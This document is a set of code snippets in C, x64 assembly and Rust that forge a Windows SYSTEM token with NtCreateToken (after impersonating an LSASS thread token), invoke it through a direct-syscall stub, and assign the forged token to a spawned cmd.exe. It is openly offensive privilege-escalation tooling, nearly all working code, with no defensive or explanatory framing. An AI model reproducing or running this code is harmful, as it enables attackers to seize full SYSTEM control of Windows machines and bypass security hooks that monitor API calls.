NtCreateToken

// Pre-req: caller is impersonating an LSASS thread token that already
// has SeCreateTokenPrivilege enabled. Otherwise NtCreateToken returns 0xC0000061.
//
// Builds the absolute minimum: User=NT AUTHORITY\SYSTEM, Groups=BUILTIN\Administrators,
// Privileges = {SeDebug, SeTcb, SeAssignPrimaryToken, SeImpersonate}. Many fields here
// are stack-allocated for brevity; production code uses a single contiguous heap blob.
#include <ntsecapi.h>
#include <sddl.h>
typedef NTSTATUS(NTAPI* fnNtCreateToken)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, TOKEN_TYPE,
    PLUID, PLARGE_INTEGER, PTOKEN_USER, PTOKEN_GROUPS,
    PTOKEN_PRIVILEGES, PTOKEN_OWNER, PTOKEN_PRIMARY_GROUP,
    PTOKEN_DEFAULT_DACL, PTOKEN_SOURCE);

HANDLE ForgeSystemToken(void) {
    PSID sidSystem = NULL, sidAdmins = NULL;
    ConvertStringSidToSidA("S-1-5-18", &sidSystem);
    ConvertStringSidToSidA("S-1-5-32-544", &sidAdmins);
    TOKEN_USER tu = { { sidSystem, 0 } };
    SID_AND_ATTRIBUTES grp = { sidAdmins, SE_GROUP_ENABLED | SE_GROUP_MANDATORY };
    BYTE grpsBuf[64] = { 0 };
    PTOKEN_GROUPS groups = (PTOKEN_GROUPS)grpsBuf;
    groups->GroupCount = 1; groups->Groups[0] = grp;
    BYTE prvBuf[128] = { 0 };
    PTOKEN_PRIVILEGES privs = (PTOKEN_PRIVILEGES)prvBuf;
    privs->PrivilegeCount = 4;
    LookupPrivilegeValueA(NULL, SE_DEBUG_NAME,            &privs->Privileges[0].Luid);
    LookupPrivilegeValueA(NULL, SE_TCB_NAME,              &privs->Privileges[1].Luid);
    LookupPrivilegeValueA(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &privs->Privileges[2].Luid);
    LookupPrivilegeValueA(NULL, SE_IMPERSONATE_NAME,      &privs->Privileges[3].Luid);
    for (DWORD i = 0; i < privs->PrivilegeCount; i++)
        privs->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED;
    TOKEN_OWNER         owner = { sidAdmins };
    TOKEN_PRIMARY_GROUP pgrp  = { sidAdmins };
    TOKEN_SOURCE        src   = { { '*','S','Y','S','T','E','M','*' } };
    AllocateLocallyUniqueId(&src.SourceIdentifier);
    LUID authId = { 0x3E7, 0 }; // SYSTEM_LUID
    LARGE_INTEGER exp; exp.QuadPart = 0x7FFFFFFFFFFFFFFFLL;
    OBJECT_ATTRIBUTES oa = { sizeof(oa) };
    HMODULE n = GetModuleHandleA("ntdll.dll");
    fnNtCreateToken pCreate = (fnNtCreateToken)GetProcAddress(n, "NtCreateToken");
    HANDLE hTok = NULL;
    pCreate(&hTok, TOKEN_ALL_ACCESS, &oa, TokenPrimary,
            &authId, &exp, &tu, groups, privs, &owner, &pgrp, NULL, &src);
    LocalFree(sidSystem); LocalFree(sidAdmins);
    return hTok;
}

; SSN 0xCD on win11-24h2 / winserver-2025. 13 args — most spill to the stack;
; in syscall ABI the kernel reads them from the user stack directly.
NtCreateToken PROC
    mov  r10, rcx
    mov  eax, 0CDh
    syscall
    ret
NtCreateToken ENDP

// Skeleton wrapper that takes a forged HANDLE from `forge_system_token()`
// and assigns it as the primary token of a freshly spawned cmd.exe.
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Security::PROCESS_ACCESS_TOKEN;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA, GetProcAddress};

type NtSetInformationProcess = unsafe extern "system" fn(
    proc: HANDLE, class: u32, info: *mut u8, len: u32,
) -> i32;

pub unsafe fn assign_token(target_process: HANDLE, forged_token: HANDLE) -> i32 {
    #[repr(C)]
    struct ProcessAccessToken { token: HANDLE, thread: HANDLE }
    let n = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
    let addr = GetProcAddress(n, b"NtSetInformationProcess\0".as_ptr()).unwrap();
    let f: NtSetInformationProcess = std::mem::transmute(addr);
    let mut pat = ProcessAccessToken { token: forged_token, thread: 0 as HANDLE };
    f(target_process, PROCESS_ACCESS_TOKEN, &mut pat as *mut _ as *mut u8,
      core::mem::size_of::<ProcessAccessToken>() as u32)
}